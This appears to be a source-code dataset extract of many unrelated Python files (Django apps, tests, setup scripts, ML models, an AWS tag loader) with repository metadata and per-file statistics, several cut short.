2022-02-28T10:00:24.000Z
setup.py
Olamyy/iranlowo
1feb123988a8afac3ac53c7acfb72df862c4bc18
[ "MIT" ]
17
2019-07-06T09:10:10.000Z
2020-11-13T08:30:37.000Z
setup.py
ruohoruotsi/iranlowo
0046b61105ffadfff21dd8b37754b9d95177fbf8
[ "MIT" ]
7
2019-07-01T01:59:07.000Z
2020-11-27T17:12:46.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """ url: https://github.com/Niger-Volta-LTI download_url: archive/v{version}.tar.gz package_data={'iranlowo': ['models/yo_adr_bahdanau_lstm_128_1_1_step_100000_release.pt']} versioning="distance", # we start from 0.0.0 using v{major}.{minor}.0 """ from setuptools impo...
24.857143
89
0.704023
99
696
4.777778
0.727273
0.012685
0.084567
0
0
0
0
0
0
0
0
0.033333
0.137931
696
27
90
25.777778
0.755
0.408046
0
0
0
0
0.320896
0.054726
0
0
0
0
0
1
0
true
0
0.153846
0
0.153846
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
f35ad558fbc65dfdc480de2f3a5e28959ccae809
533
py
Python
backend/src/util/daos.py
JulianFrattini/todo-list-python
819e8856b2a8af28b8ffaeb20c024e9704fc635f
[ "Apache-2.0" ]
null
null
null
backend/src/util/daos.py
JulianFrattini/todo-list-python
819e8856b2a8af28b8ffaeb20c024e9704fc635f
[ "Apache-2.0" ]
null
null
null
backend/src/util/daos.py
JulianFrattini/todo-list-python
819e8856b2a8af28b8ffaeb20c024e9704fc635f
[ "Apache-2.0" ]
null
null
null
from src.util.dao import DAO daos = {} def getDao(collection_name: str): """Obtain a data access object of a collection. The purpose of the realization using the singleton pattern is to avoid multiple data access objects for the same collection parameters: collection_name -- the name of the collec...
33.3125
113
0.718574
73
533
5.150685
0.520548
0.260638
0.095745
0
0
0
0
0
0
0
0
0
0.223265
533
16
114
33.3125
0.908213
0.536585
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0
0.166667
0
0.5
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f35b316b80ee742d895d827ad178ce7c0ac0048e
2,125
py
Python
tinkertest/utils.py
bnmnetp/tinkerer
46e805e20090a166f5ef83e287dc88561c9c41dc
[ "BSD-2-Clause" ]
1
2020-09-15T14:51:59.000Z
2020-09-15T14:51:59.000Z
tinkertest/utils.py
mkouhei/tinkerer
71190b83233342c0a9831b0e4e7547ea3eace03a
[ "BSD-2-Clause" ]
null
null
null
tinkertest/utils.py
mkouhei/tinkerer
71190b83233342c0a9831b0e4e7547ea3eace03a
[ "BSD-2-Clause" ]
null
null
null
''' Test utilities ~~~~~~~~~~~~~~ Base test case class inherited by all test cases. Utility functions. :copyright: Copyright 2011-2018 by Vlad Riscutia and contributors (see CONTRIBUTORS file) :license: FreeBSD, see LICENSE file ''' import os import shutil import sys from sphinx.cmd.build impo...
23.876404
76
0.689412
292
2,125
4.90411
0.417808
0.050279
0.018156
0.02095
0.054469
0
0
0
0
0
0
0.005332
0.205647
2,125
88
77
24.147727
0.843009
0.351059
0
0
0
0
0.030008
0
0
0
0
0
0
1
0.205128
false
0
0.179487
0.025641
0.435897
0.025641
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
f35e15c3e1fa141fb8e013a3abdcb344ad2f4a23
4,122
py
Python
server/views_profile.py
sampsontan/virtual-clinic
5d8cbb199fb7ff1658c8d1245d8756da7d4e2d34
[ "MIT" ]
50
2019-02-04T12:33:49.000Z
2022-03-14T04:56:20.000Z
server/views_profile.py
sampsontan/virtual-clinic
5d8cbb199fb7ff1658c8d1245d8756da7d4e2d34
[ "MIT" ]
7
2020-12-01T03:07:37.000Z
2021-02-24T07:56:17.000Z
server/views_profile.py
sampsontan/virtual-clinic
5d8cbb199fb7ff1658c8d1245d8756da7d4e2d34
[ "MIT" ]
27
2018-04-04T03:16:00.000Z
2022-03-30T11:08:35.000Z
from django.shortcuts import render from django.contrib.auth import authenticate from server.forms import PasswordForm, ProfileForm from server.models import Action, Account, Message from server import appointment from server import views from server import logger from server import message def profile_view(request)...
49.071429
121
0.715429
469
4,122
6.115139
0.230277
0.09205
0.043933
0.052301
0.541144
0.425384
0.353905
0.316597
0.293584
0.230474
0
0
0.194566
4,122
84
122
49.071429
0.863855
0.086851
0
0.367647
0
0
0.13806
0.025053
0
0
0
0
0
1
0.044118
false
0.176471
0.117647
0
0.220588
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f36671695f4f2c5246e5dd397946e01a018bb4fe
251
py
Python
chat/urls.py
talhaibnmahmud/System-Development-Project
221ab5856dfcb00aff0fe8838bb9f40c725dbbf6
[ "MIT" ]
null
null
null
chat/urls.py
talhaibnmahmud/System-Development-Project
221ab5856dfcb00aff0fe8838bb9f40c725dbbf6
[ "MIT" ]
null
null
null
chat/urls.py
talhaibnmahmud/System-Development-Project
221ab5856dfcb00aff0fe8838bb9f40c725dbbf6
[ "MIT" ]
null
null
null
from django.urls.conf import path from chat.views import MessageListView, MessageView app_name = 'chat' urlpatterns = [ path('', MessageListView.as_view(), name='message-home'), path('<slug:pk>/', MessageView.as_view(), name='message'), ]
20.916667
62
0.701195
31
251
5.580645
0.612903
0.069364
0.115607
0.196532
0
0
0
0
0
0
0
0
0.135458
251
11
63
22.818182
0.797235
0
0
0
0
0
0.131474
0
0
0
0
0
0
1
0
false
0
0.285714
0
0.285714
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f36c635d3951bb07b4912eb1c952f427fda6d438
1,329
py
Python
py.area1.py
pedrorsvalle/python
88f51ff3135447b3529298e060dd57b15a206130
[ "MIT" ]
null
null
null
py.area1.py
pedrorsvalle/python
88f51ff3135447b3529298e060dd57b15a206130
[ "MIT" ]
null
null
null
py.area1.py
pedrorsvalle/python
88f51ff3135447b3529298e060dd57b15a206130
[ "MIT" ]
null
null
null
def retangulo(lado_a,lado_b): """calcula a area de um retangulo""" area= lado_a*lado_b return area def triangulo(base,altura): """calcula a area de um triangulo""" area=(base*altura)/2 return area def circulo(raio): """calcula a area de um circulo""" area=3.14*(raio**2) ...
20.765625
69
0.543266
175
1,329
4.091429
0.32
0.055866
0.072626
0.058659
0.067039
0
0
0
0
0
0
0.016873
0.331076
1,329
63
70
21.095238
0.788526
0
0
0.171429
0
0
0.289655
0
0
0
0
0
0
0
null
null
0
0
null
null
0.342857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f377176313884cffb6df2a6b11f5b8d6f43556f5
638
py
Python
newcomer/MachineLearning/2-3a.py
yutake27/newcomer-exercise
e4466edd03e5f1803bbc0c1b0be39a475297392a
[ "CC0-1.0" ]
null
null
null
newcomer/MachineLearning/2-3a.py
yutake27/newcomer-exercise
e4466edd03e5f1803bbc0c1b0be39a475297392a
[ "CC0-1.0" ]
null
null
null
newcomer/MachineLearning/2-3a.py
yutake27/newcomer-exercise
e4466edd03e5f1803bbc0c1b0be39a475297392a
[ "CC0-1.0" ]
null
null
null
from sklearn.datasets import load_svmlight_file from sklearn.svm import SVC from sklearn.model_selection import train_test_split, GridSearchCV from sklearn import metrics param_grid = {'C':[0.001,0.01,0.1,1,10,100]} X,y = load_svmlight_file('MachineLearning/disorder.libsvm.dat') X_train, X_test, y_train, y_test = tra...
45.571429
98
0.791536
109
638
4.321101
0.449541
0.093418
0.067941
0
0
0
0
0
0
0
0
0.030822
0.08464
638
14
98
45.571429
0.775685
0
0
0
0
0
0.095462
0.054773
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
f37a64e512fe5cd0afd1ee31d20ccc49f55d4c8d
2,303
py
Python
src/gabby/udp_receiver.py
luanguimaraesla/gabby
93212a83bcde9599a1a42d35d0d9263bf766ff54
[ "MIT" ]
null
null
null
src/gabby/udp_receiver.py
luanguimaraesla/gabby
93212a83bcde9599a1a42d35d0d9263bf766ff54
[ "MIT" ]
null
null
null
src/gabby/udp_receiver.py
luanguimaraesla/gabby
93212a83bcde9599a1a42d35d0d9263bf766ff54
[ "MIT" ]
null
null
null
""" Tools to encapsulate generic receive connectors """ import logging import time import mqttsn.client as mqttsn from collections import namedtuple from .settings import UDP_URL, UDP_PORT from .decorators import ensure_udp_connection log = logging.getLogger('udpreceiver') UDPMessage = namedtuple('UDPMessage', ['pay...
26.77907
74
0.617455
271
2,303
5.125461
0.398524
0.017279
0.041037
0.025918
0.059035
0.030238
0
0
0
0
0
0.000611
0.288754
2,303
85
75
27.094118
0.847375
0.20799
0
0.04878
0
0
0.123288
0
0
0
0
0.011765
0
1
0.170732
false
0
0.146341
0
0.365854
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
f388486ab8a72d376eb7fb102005c629b0cdd106
822
py
Python
app/test/task/task_manager_test.py
SummaLabs/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
32
2017-09-04T17:40:39.000Z
2021-02-16T23:08:34.000Z
app/test/task/task_manager_test.py
AymanNabih/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
3
2017-10-09T12:52:54.000Z
2020-06-29T02:48:38.000Z
app/test/task/task_manager_test.py
AymanNabih/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
20
2017-10-07T17:29:50.000Z
2021-01-23T22:01:54.000Z
import pytest from app.backend.task.task_manager import TaskManager from app.backend.task.default_task import Task, DefaultTask @pytest.fixture def task_manager(): return TaskManager() def test_start_task(task_manager): task_manager.start_task(DefaultTask()) task_manager.start_task(DefaultTask()) pr...
21.631579
59
0.738443
106
822
5.358491
0.339623
0.232394
0.105634
0.140845
0.308099
0.260563
0
0
0
0
0
0.004329
0.156934
822
37
60
22.216216
0.815296
0
0
0.173913
0
0
0.023256
0
0
0
0
0
0.130435
1
0.173913
false
0
0.130435
0.043478
0.347826
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f38eac733fcd5d71a21affa2365e744b5adc7633
1,418
py
Python
src/user_management/user_login/app.py
patrickceg/rhok-bad-date-serverless
8b6d23da9c9c10a1bef41193cb4f9ee0535506a1
[ "MIT" ]
1
2018-04-14T15:37:02.000Z
2018-04-14T15:37:02.000Z
src/user_management/user_login/app.py
patrickceg/rhok-bad-date-serverless
8b6d23da9c9c10a1bef41193cb4f9ee0535506a1
[ "MIT" ]
7
2018-04-15T14:47:57.000Z
2018-04-29T03:55:28.000Z
src/user_management/user_login/app.py
patrickceg/rhok-bad-date-serverless
8b6d23da9c9c10a1bef41193cb4f9ee0535506a1
[ "MIT" ]
5
2018-04-14T16:04:28.000Z
2018-04-14T21:57:38.000Z
import boto3 import os import hashlib import uuid import calendar import time from decimal import Decimal from boto3.dynamodb.conditions import Key def lambda_handler(event, context): debug = os.getenv('DEBUG') is '1' hashed_passwd = hash_password(event['password']) dynamodb = boto3.resource('dynamodb', region_n...
27.269231
95
0.641749
175
1,418
5.04
0.405714
0.045351
0.040816
0.038549
0.063492
0.063492
0
0
0
0
0
0.022462
0.215092
1,418
51
96
27.803922
0.769991
0.008463
0
0.162791
0
0
0.131148
0
0
0
0
0
0
1
0.046512
false
0.162791
0.186047
0
0.325581
0.069767
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f3916073cb9f5943d221666b69347f763fcb2bb3
2,029
py
Python
libros/migrations/0002_auto_20191026_1023.py
dkwelffer/rocbook
87c92f26e8bd2139cc57d11f65c3fb82ebbc5223
[ "Apache-2.0" ]
null
null
null
libros/migrations/0002_auto_20191026_1023.py
dkwelffer/rocbook
87c92f26e8bd2139cc57d11f65c3fb82ebbc5223
[ "Apache-2.0" ]
null
null
null
libros/migrations/0002_auto_20191026_1023.py
dkwelffer/rocbook
87c92f26e8bd2139cc57d11f65c3fb82ebbc5223
[ "Apache-2.0" ]
null
null
null
# Generated by Django 2.2.5 on 2019-10-26 14:23 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('libros', '0001_initial'), ] operations = [ migrations.CreateModel( name='Pagina', f...
30.742424
114
0.538196
188
2,029
5.702128
0.388298
0.067164
0.091418
0.117537
0.427239
0.379664
0.270522
0.125
0.125
0.125
0
0.023547
0.330212
2,029
65
115
31.215385
0.765269
0.022178
0
0.440678
1
0
0.080222
0
0
0
0
0
0
1
0
false
0
0.033898
0
0.084746
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3947f91f3507fcdc9f9745149284d48e0294133
2,775
py
Python
test/geocoders/arcgis.py
gongso1st/geopy
9252f4b12197ff3c5e3fae50d9bae74974d5d20f
[ "MIT" ]
1
2019-07-17T14:38:52.000Z
2019-07-17T14:38:52.000Z
test/geocoders/arcgis.py
gongso1st/geopy
9252f4b12197ff3c5e3fae50d9bae74974d5d20f
[ "MIT" ]
null
null
null
test/geocoders/arcgis.py
gongso1st/geopy
9252f4b12197ff3c5e3fae50d9bae74974d5d20f
[ "MIT" ]
1
2019-03-28T10:26:41.000Z
2019-03-28T10:26:41.000Z
import unittest from geopy import exc from geopy.compat import u from geopy.point import Point from geopy.geocoders import ArcGIS from test.geocoders.util import GeocoderTestBase, env class ArcGISTestCaseUnitTest(GeocoderTestBase): def test_user_agent_custom(self): geocoder = ArcGIS( user_ag...
27.475248
78
0.594234
287
2,775
5.595819
0.379791
0.069738
0.029888
0.035492
0.291407
0.291407
0.200498
0.144458
0
0
0
0.061835
0.289009
2,775
100
79
27.75
0.752154
0.081802
0
0.166667
0
0
0.192356
0
0
0
0
0
0.045455
1
0.136364
false
0.060606
0.090909
0
0.272727
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f39f9dafd3986b4592613b9a6d345bb5a1bd8d41
3,098
py
Python
tag2env/cli.py
ravenac95/tag2env
5651e93d57898d6edd73a1a7b01032989acb8e4b
[ "MIT" ]
1
2018-11-23T04:31:28.000Z
2018-11-23T04:31:28.000Z
tag2env/cli.py
ravenac95/tag2env
5651e93d57898d6edd73a1a7b01032989acb8e4b
[ "MIT" ]
null
null
null
tag2env/cli.py
ravenac95/tag2env
5651e93d57898d6edd73a1a7b01032989acb8e4b
[ "MIT" ]
null
null
null
import os import re import requests import boto3 import click AWS_INSTANCE_DOC_URL = 'http://169.254.169.254/latest/dynamic/instance-identity/document' class TagLoader(object): def __init__(self, override_instance_doc=None, override_instance_id=None, region=None): self._override_instanc...
29.226415
89
0.617172
370
3,098
4.835135
0.262162
0.134153
0.078256
0.051425
0.16825
0.121856
0.103969
0.062605
0.062605
0.062605
0
0.007197
0.28244
3,098
105
90
29.504762
0.797571
0.009361
0
0.049383
0
0
0.086971
0
0
0
0
0
0
0
null
null
0.012346
0.08642
null
null
0.012346
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f3a233ffeb829f98043165f001f9360ebfc105b0
266
py
Python
server/config.py
beckybell13/dc-nanny-matchup
95b6bce65fae5ef9b34b317c55b6c3222699fa04
[ "MIT" ]
null
null
null
server/config.py
beckybell13/dc-nanny-matchup
95b6bce65fae5ef9b34b317c55b6c3222699fa04
[ "MIT" ]
10
2020-03-24T16:20:01.000Z
2022-03-11T23:32:38.000Z
server/config.py
beckybell13/dc-nanny-matchup
95b6bce65fae5ef9b34b317c55b6c3222699fa04
[ "MIT" ]
null
null
null
class Config(object): DEBUG = False TESTING = False class ProductionConfig(Config): DATABASE_URI = 'mysql://user@localhost/foo' ECHO = False class DevelopmentConfig(Config): DEBUG = True ECHO = False DATABASE_URI = 'sqlite:///:memory:'
20.461538
47
0.669173
29
266
6.068966
0.62069
0.113636
0
0
0
0
0
0
0
0
0
0
0.214286
266
12
48
22.166667
0.842105
0
0
0.2
0
0
0.165414
0.097744
0
0
0
0
0
1
0
false
0
0
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3a4868d252daf86c64cbc325202072ca5b3c08e
4,548
py
Python
app/user/tests/test_user_api.py
Pkawa/DRF-portfolio-project
a9029957ca551eeabc442d09195c603fcf7681fb
[ "MIT" ]
1
2021-07-07T00:27:35.000Z
2021-07-07T00:27:35.000Z
app/user/tests/test_user_api.py
Pkawa/DRF-portfolio-project
a9029957ca551eeabc442d09195c603fcf7681fb
[ "MIT" ]
null
null
null
app/user/tests/test_user_api.py
Pkawa/DRF-portfolio-project
a9029957ca551eeabc442d09195c603fcf7681fb
[ "MIT" ]
1
2020-05-21T17:42:27.000Z
2020-05-21T17:42:27.000Z
from django.test import TestCase from django.contrib.auth import get_user_model from django.urls import reverse from rest_framework.test import APIClient from rest_framework import status CREATE_USER_URL = reverse('user:create') TOKEN_URL = reverse('user:token') ME_URL = reverse('user:me') def create_user(**params)...
34.195489
86
0.649736
531
4,548
5.370998
0.218456
0.045582
0.080645
0.091515
0.490884
0.437588
0.415147
0.415147
0.395512
0.355189
0
0.008085
0.238566
4,548
132
87
34.454545
0.815478
0.116755
0
0.450549
0
0
0.111335
0
0
0
0
0
0.175824
1
0.131868
false
0.120879
0.054945
0.010989
0.21978
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f3aed62ff00dcc3fee815525f8a541aac8018c0c
3,925
py
Python
tests/test_multisample_module_offline.py
robertopreste/HmtNote
0f2c0f684a45c0087cabc3cb15f61803fac7daf1
[ "MIT" ]
11
2019-04-11T07:06:41.000Z
2021-03-22T09:13:40.000Z
tests/test_multisample_module_offline.py
robertopreste/HmtNote
0f2c0f684a45c0087cabc3cb15f61803fac7daf1
[ "MIT" ]
64
2019-03-04T11:18:25.000Z
2022-03-31T23:03:01.000Z
tests/test_multisample_module_offline.py
robertopreste/HmtNote
0f2c0f684a45c0087cabc3cb15f61803fac7daf1
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: UTF-8 -*- # Created by Roberto Preste import os import pytest from hmtnote import annotate, dump DATADIR = os.path.join(os.path.dirname(os.path.realpath(__file__)), "data") MULTISAMPLE_VCF = os.path.join(DATADIR, "multisample.vcf") TEST_VCF = os.path.join(DATADIR, "test.vcf") TEST_...
50.974026
98
0.61707
450
3,925
5.077778
0.135556
0.122538
0.183807
0.09628
0.770678
0.628446
0.610503
0.560613
0.560613
0.560613
0
0.000366
0.303694
3,925
76
99
51.644737
0.835712
0.134013
0
0.192308
0
0
0.015334
0
0
0
0
0
0.211538
1
0.115385
false
0
0.057692
0
0.192308
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3b6466e43523aad7a8ce9c32e8fafea37f077b6
981
py
Python
utils.py
PenPow/PythonScripts
408316a00f4e011be2d9d93c121e8d33dcd63e1e
[ "MIT" ]
null
null
null
utils.py
PenPow/PythonScripts
408316a00f4e011be2d9d93c121e8d33dcd63e1e
[ "MIT" ]
null
null
null
utils.py
PenPow/PythonScripts
408316a00f4e011be2d9d93c121e8d33dcd63e1e
[ "MIT" ]
null
null
null
isDatabaseEnabled = True try: from replit import db except ModuleNotFoundError: isDatabaseEnabled = False import os class colors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKCYAN = '\033[96m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' RESET = '\033[0m' BOLD = '\...
17.836364
50
0.620795
118
981
5.161017
0.533898
0.024631
0
0
0
0
0
0
0
0
0
0.058011
0.261978
981
55
51
17.836364
0.783149
0
0
0.068182
0
0
0.080448
0
0
0
0
0
0
1
0.181818
false
0
0.045455
0.045455
0.659091
0.022727
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f3b8b7244931f92cdb96f69aea1e3b6369a33087
2,054
py
Python
pipeline/icd9_lstm_att_model.py
letslego/W266-ProjectMIMIC
a64f16bb472931c01324f64ec358923c4a30b08e
[ "Apache-2.0" ]
null
null
null
pipeline/icd9_lstm_att_model.py
letslego/W266-ProjectMIMIC
a64f16bb472931c01324f64ec358923c4a30b08e
[ "Apache-2.0" ]
null
null
null
pipeline/icd9_lstm_att_model.py
letslego/W266-ProjectMIMIC
a64f16bb472931c01324f64ec358923c4a30b08e
[ "Apache-2.0" ]
null
null
null
from keras.models import Model from keras.layers import Dense, Dropout, Flatten, Input, Embedding,Bidirectional from keras.layers.merge import Concatenate from keras.layers import LSTM from keras.layers import MaxPooling1D, Embedding, Merge, Dropout, LSTM, Bidirectional from keras.layers.merge import Concatenate fro...
40.27451
135
0.670886
234
2,054
5.623932
0.371795
0.06155
0.079787
0.06383
0.244681
0.145897
0.145897
0.098784
0.098784
0.098784
0
0.003255
0.252191
2,054
50
136
41.08
0.853516
0.115385
0
0.235294
0
0
0.037058
0
0
0
0
0
0
0
null
null
0
0.294118
null
null
0.029412
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f3bd10908fc7d151b3144866d0111689d41a1476
652
py
Python
remote_works/skill/migrations/0005_auto_20190409_1249.py
tetyanaloskutova/saleor
b3bb51e9c0c4c2febf4aa1e2a7d893e77c331e89
[ "BSD-3-Clause" ]
7
2019-05-17T14:27:13.000Z
2021-12-17T22:52:40.000Z
remote_works/skill/migrations/0005_auto_20190409_1249.py
tetyanaloskutova/saleor
b3bb51e9c0c4c2febf4aa1e2a7d893e77c331e89
[ "BSD-3-Clause" ]
9
2019-04-13T09:24:28.000Z
2019-09-09T15:35:05.000Z
remote_works/skill/migrations/0005_auto_20190409_1249.py
tetyanaloskutova/remote-works
b3bb51e9c0c4c2febf4aa1e2a7d893e77c331e89
[ "BSD-3-Clause" ]
null
null
null
# Generated by Django 2.1.5 on 2019-04-09 10:49 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('skill', '0004_auto_20190327_2016'), ] operations = [ migrations.RemoveField( model_name='skilli...
26.08
137
0.618098
70
652
5.628571
0.628571
0.060914
0.071066
0.111675
0.142132
0
0
0
0
0
0
0.066806
0.265337
652
24
138
27.166667
0.755741
0.069018
0
0.222222
1
0
0.138843
0.038017
0
0
0
0
0
1
0
false
0
0.111111
0
0.277778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3c0ba1d7c1622f11a69dff876458d345fa9a9ee
968
py
Python
setup.py
orwell-int/proxy-robots-python
76e23eff0e3b2c55b4b865533a9db7e49e444f20
[ "BSD-3-Clause" ]
null
null
null
setup.py
orwell-int/proxy-robots-python
76e23eff0e3b2c55b4b865533a9db7e49e444f20
[ "BSD-3-Clause" ]
3
2020-08-13T17:46:07.000Z
2020-10-23T18:52:08.000Z
setup.py
orwell-int/proxy-robots-python
76e23eff0e3b2c55b4b865533a9db7e49e444f20
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python from setuptools import setup, find_packages # Hack to prevent stupid TypeError: 'NoneType' object is not callable error on # exit of python setup.py test # in multiprocessing/util.py _exit_function when # running python setup.py test (see # http://www.eby-sarna.com/pipermail/peak/2010-May...
29.333333
80
0.665289
120
968
5.258333
0.725
0.052298
0.041204
0.053883
0
0
0
0
0
0
0
0.021108
0.216942
968
32
81
30.25
0.811346
0.278926
0
0
0
0
0.325758
0.048485
0
0
0
0
0.041667
1
0
true
0.041667
0.125
0
0.125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
f3c346cdf4f4544b7c90fef31d6f459b1e99ddac
1,606
py
Python
panoptes_aggregation/extractors/__init__.py
amyrebecca/aggregation-for-caesar
5f0d884932312010f9caeb8ebfcfe358f490e41f
[ "Apache-2.0" ]
null
null
null
panoptes_aggregation/extractors/__init__.py
amyrebecca/aggregation-for-caesar
5f0d884932312010f9caeb8ebfcfe358f490e41f
[ "Apache-2.0" ]
null
null
null
panoptes_aggregation/extractors/__init__.py
amyrebecca/aggregation-for-caesar
5f0d884932312010f9caeb8ebfcfe358f490e41f
[ "Apache-2.0" ]
null
null
null
from .point_extractor import point_extractor from .point_extractor_by_frame import point_extractor_by_frame from .rectangle_extractor import rectangle_extractor from .question_extractor import question_extractor from .survey_extractor import survey_extractor from .poly_line_text_extractor import poly_line_text_extracto...
42.263158
76
0.83873
197
1,606
6.350254
0.121827
0.167866
0.108713
0.067146
0.105516
0.040767
0
0
0
0
0
0.002786
0.105853
1,606
37
77
43.405405
0.868384
0
0
0
0
0
0.185554
0.029888
0
0
0
0
0
1
0
false
0
0.457143
0
0.457143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
f3c3b3e2cee3141736cd9c221213692993fdc803
2,869
py
Python
suricata-4.1.4/suricata-update/tests/test_signaturemap.py
runtest007/dpdk_surcata_4.1.1
5abf91f483b418b5d9c2dd410b5c850d6ed95c5f
[ "MIT" ]
77
2019-06-17T07:05:07.000Z
2022-03-07T03:26:27.000Z
suricata-4.1.4/suricata-update/tests/test_signaturemap.py
clockdad/DPDK_SURICATA-4_1_1
974cc9eb54b0b1ab90eff12a95617e3e293b77d3
[ "MIT" ]
22
2019-07-18T02:32:10.000Z
2022-03-24T03:39:11.000Z
suricata-4.1.4/suricata-update/tests/test_signaturemap.py
clockdad/DPDK_SURICATA-4_1_1
974cc9eb54b0b1ab90eff12a95617e3e293b77d3
[ "MIT" ]
49
2019-06-18T03:31:56.000Z
2022-03-13T05:23:10.000Z
# Copyright (C) 2017 Open Information Security Foundation # # You can copy, redistribute or modify this Program under the terms of # the GNU General Public License version 2 as published by the Free # Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; wi...
34.987805
78
0.649007
377
2,869
4.893899
0.411141
0.162602
0.045528
0.03523
0.338211
0.306775
0.278591
0.237398
0.198374
0.139837
0
0.045662
0.236668
2,869
81
79
35.419753
0.796804
0.260718
0
0.361702
0
0
0.182683
0.016651
0
0
0
0
0.489362
1
0.06383
false
0
0.042553
0
0.12766
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
f3c6d009080d335af89d5a6496d1ce1cf9a3e716
488
py
Python
backend/autobets/apimb/migrations/0011_runner_event.py
slarkjm0803/autobets
f92a5d999acaf5d7c83ca2768a260c2282eabbee
[ "MIT" ]
1
2020-03-06T14:29:12.000Z
2020-03-06T14:29:12.000Z
backend/autobets/apimb/migrations/0011_runner_event.py
slarkjm0803/autobets
f92a5d999acaf5d7c83ca2768a260c2282eabbee
[ "MIT" ]
null
null
null
backend/autobets/apimb/migrations/0011_runner_event.py
slarkjm0803/autobets
f92a5d999acaf5d7c83ca2768a260c2282eabbee
[ "MIT" ]
null
null
null
# Generated by Django 2.0.6 on 2019-11-21 13:23 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('apimb', '0010_auto_20191115_1208'), ] operations = [ migrations.AddField( model_name='runner', ...
24.4
124
0.639344
58
488
5.293103
0.706897
0.078176
0.091205
0.143322
0
0
0
0
0
0
0
0.083333
0.237705
488
19
125
25.684211
0.741935
0.092213
0
0
1
0
0.113379
0.052154
0
0
0
0
0
1
0
false
0
0.153846
0
0.384615
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
45e8b077d24016e229eefe1622723fb85ab70504
766
py
Python
config/config.example.py
Der-Eddy/discord_bot
bc2511e6d030ee2e099410bd846ea871fe3f109d
[ "MIT" ]
122
2016-08-05T02:27:31.000Z
2022-03-21T07:53:10.000Z
config/config.example.py
Der-Eddy/discord_bot
bc2511e6d030ee2e099410bd846ea871fe3f109d
[ "MIT" ]
15
2017-12-07T14:28:20.000Z
2021-11-19T13:03:37.000Z
config/config.example.py
